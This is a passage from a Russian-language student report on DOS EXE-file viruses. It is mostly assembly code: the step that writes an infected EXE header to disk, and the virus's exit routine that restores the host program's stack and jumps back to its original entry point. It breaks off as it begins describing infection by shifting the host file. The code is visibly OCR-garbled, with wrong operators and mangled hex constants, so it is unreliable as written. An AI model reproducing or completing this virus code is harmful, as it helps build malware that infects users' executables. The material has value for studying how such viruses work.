Доклад: Exe-вирусы
.Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx.si
int 21 h
Итак, вирус "поселился" в ЕХЕ-файле. А как после окончания работы
вируса передать управление инфицированной программе? Вот процеду-
ра выхода из вируса:
CureEXE:
StackBack:
-.Установим первоначальный указатель (сегмент и смещение) стека
mov ax.ds
-.Прибавим ООЮп, после чего в АХ будет
;находится сегмент, с которого
;загружен программный модуль
add ax,10h
Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении
;3апретим прерывания, так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
cli
-.Установим сегмент стека (PSP+Wh+OldSS)
mov ss.ax
:Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
; Разрешим прерывания - опасный участок пройден
sti
[Подготовим значения в стеке для команды IRET
RetEntryPoint:
pushf
рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax.DATASEG
add ax,10h
db @add_ax
OldCS dw ?
;Сохраним в стеке полученное значение (PSP+Wh+OldCS)
push ax
;Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
.Запустим программу. В стеке находятся смещение
;точки входа, сегмент точки входа и флаги
iret
Внедрение способом сдвига
Инфицируемая программа размещается в файле после кода вируса,
сдвигаясь на его длину, отсюда и название метода. Алгоритм работы
вируса следующий: